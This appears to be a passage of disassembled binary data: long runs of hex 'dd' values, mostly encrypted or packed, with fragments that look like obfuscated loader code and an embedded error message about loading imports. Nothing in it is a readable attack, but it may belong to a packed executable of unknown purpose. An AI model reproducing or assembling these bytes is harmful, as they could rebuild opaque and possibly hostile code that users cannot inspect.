		dd 0CE1ACAE0h, 0F73C3924h, 9F2221D0h, 0D3B578FEh, 0CE931312h
		dd 8F042BECh, 4E30F174h, 112F44F5h, 598BA1D9h, 0FD3924CDh
		dd 0CE39ABC1h, 0D81D3924h, 0C30602B1h, 0B33F42DAh, 0C07F657Bh
		dd 92D73306h, 0B52A6FE3h, 0F4125FDAh, 276D3CDEh, 0BA45DC39h
		dd 0FAE1880Eh, 175CD07Fh, 9A5FE0F9h, 0C0650A25h, 2C4AEFFEh
		dd 59E1E3ECh, 0A79h, 0FA6F2AB7h, 239859DFh, 48BD6408h
		dd 72E78E2Dh, 9E13D657h, 0DF606B5Dh, 0F88AA51Ah, 9ADC83Dh
		dd 51D4EF64h, 7F1B1B90h, 49BA7B69h, 4E26DB3Fh, 0BA2FF273h
		dd 0E0551C9Fh, 46BD540Ch, 0EE04D9h, 0F74201B0h,	0BF465C7Ah
		dd 2F3F435Fh, 0F1D39216h, 0C80D8130h, 99050E6h,	7F1C3307h
		dd 9DCCCA39h, 0B58587E3h, 0CF000000h, 0F9B83B54h, 14D95617h
		dd 0C8120217h, 0B73A39E8h, 0F2730CEEh, 9B74D2Fh, 7A392521h
		dd 9EB92EF7h, 974D631Bh, 0BF392516h, 1871537Ah,	0FA325021h
		dd 1738ACC2h, 0D91E3925h, 239B2E2Ah, 40853F43h,	2849F0CBh
		dd 0F38730Ah, 2E276862h, 11C0E78Eh, 0CD2CDDF3h,	2F743927h
		dd 0B277F811h, 0A0435C94h, 625E1F01h, 2CE67A82h, 6BE08FD4h
		dd 480AAF50h, 0EC2C7797h, 969D2527h, 0D4000009h, 21D924Fh
		dd 2B46BB7Ah, 5873E889h, 809B10D1h, 84C53AFFh, 43E68792h
		dd 722FB3CEh, 995CE2FDh, 0BF660924h, 98AE4A4Ah,	3F49BC4Ch
		dd 737D550Ah, 9FBA2FF2h, 0CE0551Ch, 3003BD54h, 52520843h
		dd 5BD87B62h, 0AA59EF07h, 4B6908ABh, 50E7FD13h,	2A6F3925h
		dd 7D00997Bh, 32D5B25Eh, 0F51C6F5Eh, 9BACCA80h,	7FB7D59Eh
		dd 0A94BC266h, 3E652608h, 808E938Fh, 0FD423F43h, 70328D23h
		dd 0AA8FDCCCh, 0DC95ABC9h, 948F6041h, 9518314Fh, 0AC29EACCh
		dd 0B19C8EACh, 0A68837A1h, 6987EC4Dh, 0F1959A31h, 77AEF1D5h
		dd 9B333BFAh, 39E8B3D8h, 457F743Dh, 19377C89h, 0A524C8E1h
		dd 0C0816302h, 47F6B799h, 0DEFCA548h, 9E803DC5h, 9EB92EDDh
		dd 7D7A041Bh, 23547DC6h, 54BF3AFCh, 90B3C48h, 8B481h, 0A451F200h
		dd 0CD94142Fh, 0FABB3D58h, 22C36A85h, 48ED92ADh, 95A092D3h
		dd 0BDD84D10h, 0E8037825h, 132EA346h, 5C5CD190h, 0BD3AAAC0h
		dd 671C3F49h, 59F0738Fh, 6E80FD6h, 0C9E78CADh, 42F2C6B3h
		dd 1F9DBA3Fh, 0D9112F56h, 6B421C3h, 41F03533h, 0C1640A23h
		dd 43E28AA3h, 7CF1A061h, 0EB87AB42h, 16F8BD41h,	0E594D855h
		dd 3EA6BCDAh, 183305E9h, 812524D3h, 0E27BEDCh, 0F99F4C39h
		dd 1AB09241h, 33065DCAh, 66DDC04h, 61122733h, 0E0852A43h
		dd 0A8FD1331h, 3039245Ch, 0DE36CDEBh, 0F1973E3Bh, 0A33C1ECDh
		dd 12150B00h, 44049075h, 1BFDA045h, 9A71335Ah, 54EC2E65h
		dd 7F7CA52h, 0AC350000h, 0DB617CF1h, 0E68AA51Ah, 8AFCA3Fh
		dd 54D9F469h, 0E9DB1C91h, 1F9459DEh, 4EC37E04h,	79EEB333h
		dd 0A51ADB5Eh, 0F1F309A5h, 653F49BDh, 86B3D8B0h, 0ECB9CFEDh
		dd 0EC3F42E1h, 8C2CC5A7h, 0D75570E5h, 65D32C0Eh, 44D8EE0Ch
		dd 823306C5h, 0CCED5B3Dh, 8D54D486h, 0C4E00018h, 15233306h
		dd 6F063E5Ch, 0C7EEE28Ch, 0B2AE5DF5h, 3305FA56h, 4EE50348h
		dd 0BE060306h, 50C574B8h, 9016B735h, 2B2AEBCDh,	0E0C2E988h
		dd 4AE79128h, 3810B88Fh, 304B8D89h, 0C5683306h,	1EA13A1Ch
		dd 0B15E7557h, 0CE74314Ch, 0FB413E28h, 0E62C4D21h, 78EDB434h
		dd 3416DF5Dh, 62F929Eh,	95DBFC33h, 16882DC4h, 41B29BC6h
		dd 4C159392h, 0FE849DD7h, 0F1A06143h, 4D6B0632h, 615AA37h
		dd 7F61A633h, 677A60E9h, 3B811EA7h, 45F1CECCh, 18187FCh
		dd 526B0000h, 0A35B0AABh, 0E0F686B3h, 3924D304h, 0C8E60D52h
		dd 42E763B2h, 0F210553Fh, 1A8F56D9h, 97B57CFFh,	186BB000h
		dd 4AF912E7h, 0D870D268h, 9517BA4Ch, 0AA51EACCh, 0EF8E290Bh
		dd 0E8E5CFA9h, 8399D1A2h, 0ABBF8161h, 201B0F5h,	2641B67Fh
		dd 0C2630A83h, 16F81FE0h, 81F67BBDh, 3C1EC766h,	640B00A3h
		dd 18D95CCCh, 79918F9Bh, 8D4E30F5h, 0AFCA3F66h,	2E47650Ch
		dd 5436E588h, 4A1BF4BEh, 458B881Eh, 0DC511093h,	95773EC1h
		dd 657EFC3Ch, 7B3C1EC7h, 34B0657Fh, 1DC06639h, 0C1067A3Bh
		dd 7E667C9Ah, 0D83934B0h, 517839BBh, 546AA2DCh,	3934B090h
		dd 0D3D281C6h, 58718F52h, 806211D0h, 0E7881127h, 4C453CECh
		dd 4C73FC2Dh, 0F7F10725h, 67393453h, 0EF92AD22h, 15AC6446h
		dd 6ED388A3h
		dd 4443F26Ch, 0A8E0FEA3h, 4C48E98Fh, 39348F98h,	0E8CA79BEh
		dd 6113597Ah, 68A217DEh, 8FCA1A30h, 478C3934h, 1BFDA448h
		dd 9ACAB5Ah, 234AEF90h,	3B518941h, 39348FA9h, 0FAB968ADh
		dd 0FF15333Eh, 39348FEDh, 0A4BF3479h, 0C67E6001h, 5E223C2Fh
		dd 14C349FDh, 0EACC9115h, 0FC12AC51h, 39349DE8h, 2002296Eh
		dd 0C264E587h, 557C3D1Fh, 0CA101173h, 0E12728F0h, 6F0D8C2Fh
		dd 0F2A9FC6h, 8AE3C56Ch, 8FA5C3AEh, 39349D61h, 3853C80Dh
		dd 0B811F3B6h, 0BAD3F180h, 0D0917332h, 7ED0321h, 6F39349Dh
		dd 73E1B52Ah, 82BC31F0h, 3C1EC769h, 2C0DCC7Bh, 0FE25CC6Fh
		dd 0A01749E0h, 10AD906Fh, 740B4361h, 96E584B5h,	6F6B1A67h
		dd 3F4323EAh, 0F0B53956h, 0EC92ABC9h, 0F1B43952h, 6CCEFF5h
		dd 0FB226733h, 4ECB6B86h, 662709B4h, 35045D3Fh,	71081E3Ch
		dd 653924ECh, 0ACCD172Dh, 44892CE8h, 0FADC2195h, 0E8BC7C64h
		dd 0C1B2872Ch, 8F556BA3h, 3C2CE89Ch, 5314F6BBh,	421D9ADFh
		dd 10EF40DFh, 0ACE402B1h, 0C230D415h, 0CE6E4BA8h, 5D844527h
		dd 0C9F3B2AEh, 0A0E53306h, 0E38225BEh, 10A9E421h, 0A42C2EE6h
		dd 4E9h, 6ADF9A27h, 9308A94Fh, 0B82DF478h, 0E2571E9Dh
		dd 0E8326C7h, 2FD0DBCDh, 68FA158Ah, 991D38ADh, 0A1445FD4h
		dd 0EF8B8B00h, 49C10BD9h, 0BE964B3Fh, 0CFED86B3h, 42FA54B9h
		dd 0F10F543Fh, 796B81B9h, 0DD3306ABh, 0AC489C98h, 0C90E3306h
		dd 3FA2381Ah, 6F3306ACh, 1F1D8CD2h, 0D887E3F7h,	0CBh, 0D29A7622h
		dd 0DC613924h, 79975EE1h, 0D1B92B41h, 619D3924h, 24D1994Bh
		dd 5178BD39h, 6B2FFFD4h, 1BCA3616h, 972CBA6h, 1E1CB3EBh
		dd 78C94AE5h, 4F0A9897h, 1FDAC6Dh, 3924BCEBh, 0BB54367Bh
		dd 571EA138h, 0E60DD458h, 650CAFC8h, 0EE0741B6h, 4C5A74Eh
		dd 0DBBD6005h, 91AC6B1Ah, 38B4CAE8h, 2E3924BDh,	0B84F07E9h
		dd 9D23E267h, 95944316h, 3AE77B12h, 52709758h, 0DEFB639h
		dd 4D289D4Ch, 356D8BF0h, 0DF7FAF9Eh, 3EEDF033h,	2443BE42h
		dd 6E0D2639h, 7524E5C7h, 44DABC01h, 3924839Ch, 0FFE18027h
		dd 3A1CC166h, 9973B9B6h, 0EC5EA4C5h, 0F40A2851h, 3924040Ch
		dd 0BEC83D82h, 0DDh, 0CD8EE26h,	4A392404h, 0B39E5605h
		dd 29249786h, 225BB446h, 35F6D89Dh, 91C9E70Eh, 7D2CF578h
		dd 43CA2481h, 8D6FB43Fh, 5D879DD5h, 6E3307ACh, 824325C8h
		dd 1B1AC90Eh, 8A65DA87h, 679FBDB4h, 0ACCB192Fh,	48823307h
		dd 2B9077h, 3DEC31A5h, 74BA741h, 9072B733h, 74BE5FAh, 975ADC33h
		dd 0D8991CB5h, 14D95DF6h, 0A8A97132h, 0D5728862h, 5722208Fh
		dd 62DB87E3h, 25000000h, 0D4F28BB3h, 8EA8059Ch,	0F4B13EE6h
		dd 749B4945h, 76BB3925h, 0BA67FB94h, 9DD46A45h,	74C7697Fh
		dd 0E2273925h, 0B3766A00h, 0A94D3925h, 3E58C2Ch, 0A0391B42h
		dd 0DE795B1Eh, 4B1FF93Fh, 32F3768Fh, 48BA0083h,	4B617FF6h
		dd 392533E5h, 154FC409h, 1021907Eh, 0B1C7CF00h,	39254133h
		dd 8B7DE23h, 31F07350h,	7233B64Fh, 4EB5BD54h, 3B3FB5B5h
		dd 0FD3C178Ch, 19405674h, 273F43AEh, 0DBBD780Ah, 5911F31Ah
		dd 15F7A240h, 37A9A554h, 8C330773h, 0CA6345ECh,	6908AB22h
		dd 0D1F26042h, 0FE9BB18Bh, 304B49B8h, 0F78E87E3h, 0FC6C430Eh
		dd 0BB36273h, 3Bh, 0ED86B355h, 0FE4CB9CFh, 74C3F42h, 0CE546D25h
		dd 5DFF513h, 513306A8h,	7F615D0Ch, 2D3306A7h, 9958DCF5h
		dd 0C447F6B7h, 1494AD7Eh, 0FBAA6B4Dh, 0E3FF413Fh, 0EFFA87h
		dd 73440000h, 12D359F0h, 33B4CDEBh, 71F38C6Eh, 0E60DCEB0h
		dd 0EF9E5BE7h, 71D550Dh, 3924D2DDh, 86853479h, 0E61E3CE1h
		dd 24D314D0h, 4EFD4239h, 9150D36Ch, 44DEF7AFh, 48EBEA99h
		dd 0CE728BA9h, 0EB037827h, 3924D7D5h, 5AF3768Fh, 9EB12D3h
		dd 179A9948h, 3BBED94Eh, 0C7E0987Ah, 0DB9C7E3Bh, 0A7CC6D2Ch
		dd 0DA867389h, 0B5FA3F42h, 9FD46540h, 0CAC16881h, 4EF6660Eh
		dd 0FBDD04BAh, 576D8B3Ah, 3926C22Ah, 0EA032166h, 0D4F2A144h
		dd 2773ABBh, 0E1A346E7h, 0EC2B64B6h, 0C2068E90h, 1, 2641B663h
		dd 4F6ADF86h, 748F04ADh, 9CB72CF5h, 0A0E1561Bh,	5F02A3AEh
		dd 8633CFEAh, 0AD70F611h, 0DB9A1D38h, 0B4CA6666h, 3F49C430h
		dd 73997126h, 0C22238F2h, 943924D2h, 98B3284Fh,	9DD74C15h
		dd 0D2954F65h, 26C13924h, 56EA439Ah, 2EDD04FAh,	0ED86B376h
		dd 6C31B6CFh, 7C899FBDh, 1C3F42FDh, 0B6B57CFFh,	64466D30h
		dd 6A712CEh, 0B7FD9A33h, 0E4004A48h, 0F5748D87h, 0BED57D2Ch
		dd 0B9000000h, 785A1FA0h, 735008B7h, 0B64F31F0h, 0F48A6C31h
		dd 3924D7CCh, 0C41734B7h, 639AA6E7h, 6AA41940h,	0DBACAFD3h
		dd 823154AFh, 5F41E083h, 203E3306h, 42C4EF0Ah, 0D74C913Fh
		dd 954F659Dh, 363306AAh, 4F10F2B3h, 149796DBh, 5ADF9E4Dh
		dd 8BC3FB19h, 6AA6F75h,	16DB5C33h, 0BAFF7334h, 0CB7A27BBh
		dd 275453CFh, 0E73ED539h, 0E8A9474Dh, 8FD448F7h, 12D75871h
		dd 38FD829Dh, 2BE31B76h, 9D2527ECh, 0BDh, 46BB66FBh, 6FE48D2Bh
		dd 9C11D054h, 0C63BFA81h, 0F2670AABh, 33B4BFB1h, 44DEF96Eh
		dd 65092499h, 8D304BC0h, 0D36F6FE4h, 49C527BDh,	0A27A2F3Fh
		dd 0BA2FF273h, 0E0551C9Fh, 31F0730Ch, 1C33B64Fh, 7DA0F3F0h
		dd 970C3341h, 0D6F47DBCh, 4A71A9C0h, 9072B73Fh,	38AD74F7h
		dd 0F9DB9A1Dh, 0E5BB0F63h, 0AAF0ED5Dh, 37AC75F8h, 778DC5FDh
		dd 81B8D6Dh, 3CA8A4E9h,	1A081B8Eh, 0D9BB7AFDh, 4342F118h
		dd 4CE301A0h, 1D1C2F2Ch, 12F4A387h, 1533F279h, 54C5D47Eh
		dd 0DA892CC7h, 23698AF8h, 0B227CE71h, 0F0751497h, 21108D7h
		dd 0A4CBB125h, 0A139B7Dh, 7B000000h, 391BDA62h,	7F11C978h
		dd 33EE73A7h, 6C35B851h, 0A84DF18Ah, 0E8952DC6h, 25C86D06h
		dd 6005AA43h, 9F46E57Eh, 0E18024BDh, 1FC666FFh,	8950003Dh
		dd 405E0h, 0E8830000h, 24048704h, 6824248Bh, 4BC3h, 68240C89h
		dd 5AD4h, 68243C89h, 624E6D8h, 81240C8Bh, 4C4h,	4EC8300h
		dd 81242489h, 42404h, 565F0000h, 89CB8953h, 77895BDEh
		dd 34FF5E08h, 0C4835F24h, 2434FF04h, 4C48159h, 0E9000000h
		dd 0FFF98BE7h, 39522606h, 429C5422h, 0B8FA8BCDh, 624F35Ah
		dd 0E0FFC503h, 25851896h, 29FA665Dh, 4FF41C2Ch,	42047D40h
		dd 5661FE6h, 461A9AB1h,	4D51F05Ch, 21142BE6h, 4A113E15h
		dd 3ED398C0h, 28DEC2BBh, 451C78F2h, 6408B17Eh, 1AE537C4h
		dd 233A797Ch, 6288F3DEh, 50F82330h, 51CE6BA2h, 68EB2BF4h
		dd 2D0E8712h, 63B1E8C7h, 53A3D7F9h, 7C09317h, 4714140Ah
		dd 249AFCEBh, 29C19983h, 20F67795h, 29FDD40Ch, 7E8h, 8FFA9700h
		dd 5D91D5B7h, 54E88166h, 8C0F5913h, 6, 0EEA7E881h, 0C1815ED2h
		dd 6973h, 2568C7B4h, 0F00001Ah,	80h, 8E0F5E00h,	4, 0D1D5BA66h
		dd 0EE9398Bh, 66000000h, 0C41A24DAh, 0C1D60BD8h, 0CE5E306Ah
		dd 0B0F781D9h, 6672C373h, 25BAE381h, 8DC4F781h,	8AB618F5h
		dd 0BBBEF781h, 665661BFh, 11F7EA81h, 8B525758h,	18F5AC2h
		dd 5860Fh, 0F9BB0000h, 810BD107h, 68DA29E9h, 5501BB08h
		dd 0C1814CE7h, 868DA25h, 8820Fh, 820F0000h, 2, 0EE8103B2h
		dd 1, 26850Fh, 830F0000h, 15h, 0F8A0Fh,	9E80000h, 78000000h
		dd 9E11864h, 0FBA081C4h, 1AE958h
		dd 0FC800000h, 3CB1C6A5h, 61E9C38Bh, 0E2FFFFFFh, 2FE3DBC3h
		dd 5870A39Dh, 5B62D9B4h, 0F6398D8Dh, 6A0624h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 309C82C3h
		dd 0B589E430h, 61E20C5h, 12E9h,	0F397C100h, 63FDF98Dh
		dd 36BFEE7Bh, 0DF088802h, 8900C014h, 1E23758Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 4D85C720h, 50061E32h, 6A00006Dh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 6B66C356h
		dd 0B6EA3CA9h, 8E906h, 0B2CD0000h, 0F4D0908h, 85C7C093h
		dd 61E3169h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0AC35242h
		dd 0ADD2517h, 0BD8B6039h, 61E22F1h, 0DDB58961h,	0FF061E32h
		dd 1E1515B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 9DBB7126h, 279544D7h, 9D892EF0h
		dd 61E0329h, 16B995FFh,	6A061Eh, 26C195FFh, 0C08B061Eh
		dd 92470BEBh, 7AB77EB7h, 81C01BF0h, 127E984h, 5B500000h
		dd 0EFAC7376h, 154Eh, 6E410000h, 72724520h, 6820726Fh
		dd 6F207361h, 72727563h, 77206465h, 656C6968h, 616F6C20h
		dd 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h,	0E75CEB77h
		dd 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h, 777h
		dd 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 0B7B5B8Fh, 1C131134h
		dd 3E4335B1h, 6166422Ch, 9E35722Bh, 1177A9F2h, 90EF8832h
		dd 137848DBh, 0B95CBFBFh, 0C6991712h, 0A8E5D069h, 13786F17h
		dd 45715632h, 1177A961h, 90EF8832h, 137848DBh, 0BC4FBFBFh
		dd 0C6991712h, 0D5EDD069h, 0E3FBF9B1h, 1A662416h, 156601B6h
		dd 31E30532h, 0EA6060E3h, 41E3AFE2h, 0EA6035E3h, 54E34EE2h
		dd 43605A12h, 0BDDE705Ah, 84D3EEAEh, 98609600h,	341E95B7h
		dd 9CB6DD34h, 0B47ECB7h, 78E30534h, 456060C5h, 0E328A7BFh
		dd 0EA361716h, 0B7549A7h, 50E38334h, 15603C33h,	0D3661132h
		dd 0B46C9B7h, 7C0E0134h, 0EAE8505Bh, 0B64E087h,	0EFE30534h
		dd 0EA605A0Ah, 50E3ABE2h, 0D3600F2Ch, 0B46C9B7h, 4B0E0734h
		dd 0EAFA4559h, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 90E3ABE2h
		dd 0D36035C4h, 0B46C9B7h, 3C0E1034h, 0EA88405Ah, 0B64E087h
		dd 0EFE30534h, 0EA605A0Ah, 9CE3ABE2h, 0D36035C4h, 0B46C9B7h
		dd 0D70E0134h, 0EABC420Ah, 0B64E087h, 0EFE30534h, 0EA605A0Ah
		dd 98E3ABE2h, 966035C4h, 0B41A58Fh, 90694434h, 15662277h
		dd 352794F4h, 7D238E2Ch, 0EF463AB4h, 179797CDh,	90EB172Ch
		dd 1378B0C8h, 90EF94CDh, 1342D4A3h, 352794F4h, 7D2A8E2Ch
		dd 0F54094F1h, 179797CDh, 90EB172Ch, 1378B0C8h,	90EF94CDh
		dd 1342D4A7h, 156651DBh, 54E34E32h, 47605A12h, 5F822F5Ah
		dd 0D4D3EE8Eh, 98609613h, 0B5EBEB7h, 9CB6DD34h,	319080B7h
		dd 54E34E34h, 47605A12h, 592C6A5Ah, 0D4D3EE94h,	98609613h
		dd 0B5EBEB7h, 9CB6DD34h, 319084B7h, 54E34E34h, 47605A12h
		dd 57D2C85Ah, 0E4D3EECFh, 98609630h, 0B5EBEB7h,	9CB6DD34h
		dd 0B54C0B7h, 54E34E34h, 62605A12h, 82CE815Ah, 40D3EEC1h
		dd 98609626h, 0B5EBEB7h, 9CB6DD34h, 0B4084B7h, 54E34E34h
		dd 47605A12h, 0C857355Ah, 0E4D3EEB8h, 98609630h, 0B5EBEB7h
		dd 9CB6DD34h, 0B5530B7h, 54E34E34h, 43605A12h, 0A0B1B5Ah
		dd 84D3EEE6h, 98609600h, 341E95B7h, 9CB6DD34h, 0B7B90B7h
		dd 54E34E34h, 52605A12h, 0C976585Ah, 0E4D3EEB3h, 98609630h
		dd 0B5EBEB7h, 9CB6DD34h, 0B7830B7h, 54E34E34h, 52605A12h
		dd 1AD3C05Ah, 0E4D3EEB8h, 98609630h, 0B5EBEB7h,	9CB6DD34h
		dd 3190A4B7h, 0A4DB0B34h, 15605A01h, 1337A63Dh,	90A01132h
		dd 1378A873h, 98F2C7Eh,	0A099FBE8h, 137813C3h, 2D9C0DBFh
		dd 0C599422Ch, 0E3C7A7BBh, 90A01716h, 1378A873h, 0CBA82C7Eh
		dd 0A099FF46h, 137813C3h, 2D9C0DBFh, 0C599422Ch, 0E3C3A7BBh
		dd 90A01716h, 1378A873h, 97592C7Eh, 0A09995B3h,	137813C3h
		dd 2D9C0DBFh, 0C599422Ch, 0E3CFA7BBh, 90A01716h, 1378A873h
		dd 557E2C7Eh, 0A099911Dh, 137813C3h, 2D9C0DBFh,	0C599422Ch
		dd 0E3CFA7BBh, 90A01716h, 1378A873h, 13722C74h,	0A09998ECh
		dd 137813C3h, 2D9C0DBFh, 0C599422Ch, 0E3D7A7BBh, 90A01716h
		dd 1378A873h, 51C2C75h,	0A099A3EEh, 137813C3h, 2D9C0DBFh
		dd 0C599422Ch, 0E3DFA7BBh, 90A01716h, 1378A873h, 9BCA2C75h
		dd 0A099CDB5h, 137813C3h, 2D9C0DBFh, 0C599422Ch, 0E3DBA7BBh
		dd 90A01716h, 1378A873h, 0B2B42C75h, 0A099F6A8h, 137813C3h
		dd 2D9C0DBFh, 0C599422Ch, 0E3A7A7BBh, 90A01716h, 1378A873h
		dd 2C622C75h, 0A09998F3h, 137813C3h, 2D9C0DBFh,	0C599422Ch
		dd 0E3A3A7BBh, 0A8E51716h, 13789487h, 0D3463132h, 0B4663B7h
		dd 720E5634h, 0EA86FA1Fh, 0B64B587h, 0EFE3AF34h, 0EA600F0Ah
		dd 0DCE301E2h, 0D36060C4h, 0B4663B7h, 0A40E5634h, 0EAE8A181h
		dd 0B64B587h, 0EFE3AF34h, 0EA600F0Ah, 0D8E301E2h, 0D36060C4h
		dd 0B4663B7h, 0B20E5234h, 0EAA6FE78h, 0B64B587h, 0EFE3AF34h
		dd 0EA600F0Ah, 0C4E301E2h, 0D36060C4h, 0B4663B7h, 0FE0E5D34h
		dd 0EA9DEE5Eh, 0B721187h, 0EFE3AF34h, 0EA600F0Ah, 70E301E2h
		dd 0D36060C5h, 0B4663B7h, 400E5534h, 0EADDFBBCh, 0B64B587h
		dd 0EFE3AF34h, 0EA600F0Ah, 0C0E301E2h, 0D36060C4h, 0B4663B7h
		dd 0E90E5234h, 0EADA065Ch, 0B64B587h, 0EFE3AF34h, 0EA600F0Ah
		dd 0CCE301E2h, 0D36060C4h, 0B4663B7h, 0BF0E4234h, 0EAA0980Ch
		dd 0B64B587h, 0EFE3AF34h, 0EA600F0Ah, 0C8E301E2h, 966060C4h
		dd 0B4BF38Fh, 91691134h, 156688D2h, 3527C1F4h, 7D20242Ch
		dd 0EFF0DF03h, 17973DCDh, 90EB422Ch, 13781AC8h,	90EFC1CDh
		dd 13427F0Bh, 3527C1F4h, 7D20242Ch, 0E9C12BE4h,	17973DCDh
		dd 90EB422Ch, 13781AC8h, 90EFC1CDh, 13427F7Bh, 3527C1F4h
		dd 7D20242Ch, 879AB532h, 17973DCDh, 90EB422Ch, 13781AC8h
		dd 90EFC1CDh, 13427F7Fh, 3527C1F4h, 7D20242Ch, 0E3B25E58h
		dd 17973DCDh, 90EB422Ch, 13781AC8h, 90EFC1CDh, 13427F63h
		dd 3527C1F4h, 7D20242Ch, 81AB41D5h, 17973DCDh, 90EB422Ch
		dd 13781AC8h, 90EFC1CDh, 13427F0Fh, 3527C1F4h, 7D20242Ch
		dd 0A4446509h, 17973DCDh, 90EB422Ch, 13781AC8h,	90EFC1CDh
		dd 13427F73h, 3527C1F4h, 7D20242Ch, 0CA1FFBDFh,	17973DCDh
		dd 90EB422Ch, 13781AC8h, 90EFC1CDh, 13427F77h, 9D3F9B1h
		dd 6066242Ch, 54E3D712h, 46609612h, 0AB861A5Ah,	0E4D3DDFCh
		dd 98600F30h, 0B5E72B7h, 9CB6BB34h, 3190C3B7h, 54E3D734h
		dd 52609612h, 0A438C35Ah, 0E4D3DDF5h, 98600F30h, 0B5E72B7h
		dd 9CB6BB34h, 3190C7B7h, 0A0DB9234h, 1560962Eh,	90A06447h
		dd 13780273h, 6B637975h, 0A0996E50h, 137846C3h,	2D9CA7BFh
		dd 0C599172Ch, 0E38F0DBBh, 90A04216h, 13780273h, 1C907971h
		dd 0A0991A48h, 137846C3h, 2D9CA7BFh, 0C599172Ch, 0E38B0DBBh
		dd 90A04216h, 13780273h, 82467971h, 0A0997413h,	137846C3h
		dd 2D9CA7BFh, 0C599172Ch, 0E3970DBBh, 0A8E54216h, 13783E87h
		dd 0D3266432h, 0B46C9B7h, 160E0734h, 0EAED229Ah, 0B64E087h
		dd 0EFE30534h, 0EA605A0Ah, 0ECE3ABE2h, 0D36035C4h, 0B46C9B7h
		dd 0C00E0734h, 0EA837904h, 0B64E087h, 0EFE30534h, 0EA605A0Ah
		dd 0E0E3ABE2h, 0D36035C4h, 0B46C9B7h, 0F40E0734h, 0EA8C8800h
		dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 0E8E3ABE2h, 0D36035C4h
		dd 0B46C9B7h, 220E0734h, 0EAE2D39Eh, 0B64E087h,	0EFE30534h
		dd 0EA605A0Ah, 14E3ABE2h, 0D36035C5h, 0B46C9B7h, 0C10E0B34h
		dd 0EAF117A2h, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 10E3ABE2h
		dd 0D36035C5h, 0B46C9B7h, 170E0B34h, 0EA9F4C3Ch, 0B64E087h
		dd 0EFE30534h, 0EA605A0Ah, 1CE3ABE2h, 0D36035C5h, 0B46C9B7h
		dd 5C0E0934h, 0EAAE154Bh, 0B64E087h, 0EFE30534h, 0EA605A0Ah
		dd 4E3ABE2h, 0D36035C5h, 0B46C9B7h, 9C0E0934h, 0EABAD57Fh
		dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 18E3ABE2h, 0D36035C5h
		dd 0B46C9B7h, 220E1134h, 0EAFA391Fh, 0B64E087h,	0EFE30534h
		dd 0EA605A0Ah, 0E3ABE2h, 0D36035C5h, 0B46C9B7h,	3F0E0734h
		dd 0EAB4F7C2h, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 0CE3ABE2h
		dd 0D36035C5h, 0B46C9B7h, 0FF0E1634h, 0EA9B6086h, 0B64E087h
		dd 0EFE30534h, 0EA605A0Ah, 0C4E3ABE2h, 0D3600F00h, 0B46C9B7h
		dd 8C0E0334h, 0EA84BA6Bh, 0B64E087h, 0EFE30534h, 0EA605A0Ah
		dd 8E3ABE2h, 0D36035C5h, 0B46C9B7h, 0D70E0334h,	0EAD7DF52h
		dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 34E3ABE2h, 0D36035C5h
		dd 0B46C9B7h, 10E0334h,	0EAB984CCh, 0B64E087h, 0EFE30534h
		dd 0EA605A0Ah
		dd 30E3ABE2h, 0D36035C5h, 0B46C9B7h, 7D0E1B34h,	0EAF872C0h
		dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 3CE3ABE2h, 0D36035C5h
		dd 0B46C9B7h, 2A0E0B34h, 0EAA1DE49h, 0B64E087h,	0EFE30534h
		dd 0EA605A0Ah, 40E3ABE2h, 0D36035C5h, 0B46C9B7h, 590E0334h
		dd 0EA9C795Ch, 0B64E087h, 0EFE30534h, 0EA605A0Ah, 4CE3ABE2h
		dd 0D36035C5h, 0B46C9B7h, 0D80E0334h, 0EAA52416h, 0B64E087h
		dd 0EFE30534h, 0EA605A0Ah, 48E3ABE2h, 0D36035C5h, 0B46C9B7h
		dd 0D90E1B34h, 0EAB29952h, 0B64E087h, 0EFE30534h, 0EA605A0Ah
		dd 38E3ABE2h, 0D36035C5h, 0B46C9B7h, 5B0E1B34h,	0EAF8CB66h
		dd 0B64E087h, 0EFE30534h, 0EA605A0Ah, 24E3ABE2h, 0D36035C5h
		dd 0B46C9B7h, 5D0E1B34h, 0EAB7311Ah, 0B64E087h,	0EFE30534h
		dd 0EA605A0Ah, 20E3ABE2h, 7F6035C5h, 566E036h, 150E4432h
		dd 7F662222h, 0E8F3EE32h, 9C609613h, 0B4DE9B7h,	0D2E3AF34h
		dd 0EA6035F8h, 7D62E2E2h, 15665432h, 1546225Ah,	0EA667B32h
		dd 0B4775A7h, 0CCE3CD34h, 9C603C32h, 0B6780B7h,	7D26E234h
		dd 15665432h, 1466225Ah, 0EA667B32h, 0B4775A7h,	0C8E3CD34h
		dd 9E603C1Eh, 0B703487h, 9CFB0334h, 9C605A3Eh, 0B44EF87h
		dd 24FB9834h, 9E60962Ch, 0B6ACDAFh, 966DA934h, 916911CBh
		dd 156682EDh, 26061562h, 70E3ABF2h, 0AB600F32h,	1566880Eh
		dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
		dd 34F79FBBh, 0EAE3172Ch, 156C0D3Dh, 1B8E4432h,	0FC662223h
		dd 156611A3h, 7EB10363h, 80EF40E0h, 13782FAFh, 150E1558h
		dd 47668822h, 80994458h, 137803CFh, 3A9B94BBh, 0C5ED8E2Ch
		dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
		dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 0B4DE98Fh, 0EAAFA134h
		dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah,	0EA8C943Dh
		dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 70E3EE60h,	9E609632h
		dd 0B6621A7h, 84F31B34h, 1A600F13h, 156682B6h, 96381E32h
